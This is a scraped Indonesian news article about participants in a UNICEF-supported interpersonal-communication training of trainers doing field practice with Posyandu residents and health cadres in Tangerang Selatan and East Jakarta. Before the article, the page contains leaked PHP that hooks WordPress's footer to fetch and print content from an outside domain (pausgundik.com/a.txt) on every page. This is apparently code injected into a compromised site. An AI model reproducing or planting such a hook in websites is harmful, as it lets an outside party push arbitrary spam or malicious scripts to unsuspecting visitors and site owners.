function load_external_content() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://pausgundik.com/a.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } add_action('wp_footer', 'load_external_content');Peserta Training of Trainer KAP Unicef Indonesia Lakukan Praktik Lapangan - Suluh Nusantara

Home / Berita / Pendidikan / Regional

Selasa, 8 Agustus 2023 - 23:31 WIB

Peserta Training of Trainer KAP Unicef Indonesia Lakukan Praktik Lapangan

Doc. ToT KAP (Istimewa)

Doc. ToT KAP (Istimewa)

Pokja RCCE+ dan Forum Pelatih KAP yang didukung oleh UNICEF Indonesia menyelenggarakan pelatihan “Training of Trainer Komunikasi Antar Pribadi (ToT KAP) Intensif Gelombang 1” secara in class dan praktik lapangan. Peserta pada ToT KAP Intensif Gelombang 1 ini sebanyak 20 orang yang merupakan hasil seleksi dari ratusan pendaftar.

Doc. ToT KAP (Istimewa)

Peserta berasal dari berbagai instansi dan provinsi di Indonesia. Terdapat tiga orang peserta berasal dari Sulawesi Selatan yaitu Muhammad Rachmat dari Departemen Promosi Kesehatan dan Ilmu Perilaku Fakultas Kesehatan Masyarakat Universitas Hasanuddin (PKIP FKM Unhas), Hasimah dari Dinas Kesehatan Provinsi Sulawesi Selatan, dan Kasman Makkasau dari Dinas Kesehatan Kota Parepare. Untuk memperkuat keterampilan melatih peserta maka praktik lapangan dilakukan dua kali. Pertama, praktik lapangan dalam bentuk edukasi pada masyarakat di Posyandu dilakukan di Tangerang Selatan pada hari Selasa, 8 Agustus 2023. Sebanyak 40 warga yang diedukasi bersamaan dengan pelaksanaan kegiatan Posyandu. Praktik ini berlangsung dua hingga tiga sesi selama setengah hari kemudian dilanjutkan dengan refleksi di kelas.

Baca Juga  FKM UNHAS Sukses Menyelenggarakan Konferensi Internasional Secara Hybrid: The 1st ICEGH (International Conference On Epidemiology and Global Health)

Kedua, kegiatan praktik melatih kader selama sehari dalam dua sesi. Sesi pagi mulai jam 08.30-11.30 dan sesi siang jam 13.00-16.00. Praktik ini dilakukan pada hari Kamis, 10 Agustus 2023. Kegiatan ini berlokasi pada sejumlah tempat di Kecamatan Pasar Rebo, Jakarta Timur dan berlangsung secara paralel. Kader yang dilatih mencakup kader Posyandu, kader Posbindu, kader Jumantik, dan kader PKK dengan total kader sebanyak 16-18 orang. “Pada setiap kegiatan praktik lapangan, peserta dibagi menjadi 10 tim. Satu tim terdiri dari dua orang yang bertugas sebagai edukator/fasilitator dengan pasangan yang berbeda dengan sebelumnya. Hal ini diharapkan agar fasilitator mendapatkan sebanyak mungkin pengalaman dari fasilitator yang berbeda,” jelas Muhammad Rachmat.

Baca Juga  Seminar Awal Posko 35 PBL II FKM Unhas Desa Tondongkura Kecamatan Tondong Tallasa Kabupaten Pangkajene Kepulauan

Pelatihan ini diharapkan dapat menciptakan para pelatih komunikasi kesehatan yang mampuni, yang nantinya akan mengimplementasikan dan menyebarkan pengetahuan dan keterampilan KAP ke berbagai wilayah di Indonesia. Sehingga, pesan-pesan yang lebih efektif dan berdampak positif dapat disampaikan, dan masyarakat Indonesia dapat lebih sadar dan berperan aktif dalam menjaga dan meningkatkan kesehatan mereka.

Share :

Baca Juga

Berita

Mahasiswi Prodi Kesmas UIN Alauddin Juara Umum Kegiatan Public Health Competiton (PHC)-AIPTKMI

Berita

Dosen K3 FKM Unhas Melaksanakan Pengabdian Masyarakat dalam Menangani Kelelahan dan Stres Kerja pada Perawat di RSUD Lasinrang Pinrang

Berita

Tim Pengabdian FKM Unhas Gelar Pelatihan Peer Educator di SMA Negeri 7 Takalar

Berita

Walikota Parepare Buka Rapat Kerja Perdana AIPTKMI Regional Timur Periode 2023-2026

Berita

Prof. Sukri Palutturi Resmi Dilantik Sebagai Ketua AIPTKMI Regional Timur Periode 2023-2026

Berita

Mahasiswa PBL II FKM Unhas Edukasi Masyarakat Mengenai Pengolahan Sampah Melalui Media Poster untuk Mendukung Tujuan Pembangunan Berkelanjutan (SDGs)

Berita

PENGENALAN KESELAMATAN DAN KESEHATAN KERJA (K3) DI BIDANG PERTANIAN: MAHASISWA POSKO 21 PBL FKM UNHAS TERJUN LANGSUNG KE PETANI DI DESA PUNRANGA

Berita

Capai Universal Salt Iodization (USI) dengan Koordinasi, Komunikasi, dan Advokasi Pemangku Kepentingan Fortifikasi Pangan